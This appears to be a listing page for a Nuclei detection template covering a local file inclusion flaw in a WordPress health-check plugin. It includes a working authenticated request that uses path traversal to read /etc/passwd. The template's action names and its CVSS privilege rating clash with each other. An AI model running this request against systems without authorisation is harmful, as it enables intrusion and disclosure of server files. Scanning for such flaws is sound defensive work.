WordPress Health Check & Troubleshooting <1.24 - Local File Inclusion

ID: health-check-lfi

Severity: high

Author: DhiyaneshDK

Tags: lfi,wp,wordpress,wp-plugin,authenticated,lfr,wpscan

Description

WordPress Health Check & Troubleshooting prior to 1.2.4 is vulnerable to local file inclusion. Exploitation does require authentication.

YAML Source

id: health-check-lfi

info:
  name: WordPress Health Check & Troubleshooting <1.24 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: WordPress Health Check & Troubleshooting prior to 1.2.4 is vulnerable to local file inclusion. Exploitation does require authentication.
  remediation: Upgrade to version 1.2.4 or later.
  reference:
    - https://wpscan.com/vulnerability/5eecc4a7-0b44-495d-9352-78dccebfc72a
    - https://www.synacktiv.com/ressources/advisories/WordPress_Health_Check_1.2.3_Vulnerabilities.pdf
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 2
  tags: lfi,wp,wordpress,wp-plugin,authenticated,lfr,wpscan

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=health-check-view-file-diff&file=../../../../../../etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e30b503daef3e9868fbcf31db23dd2667f7cddeae66f95d3c8b2744355b00e30022100e16348b6a07755a77502151ed3c8464c3db94e47f819937841a1fa193412cd45:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/health-check-lfi.yaml"

View on Github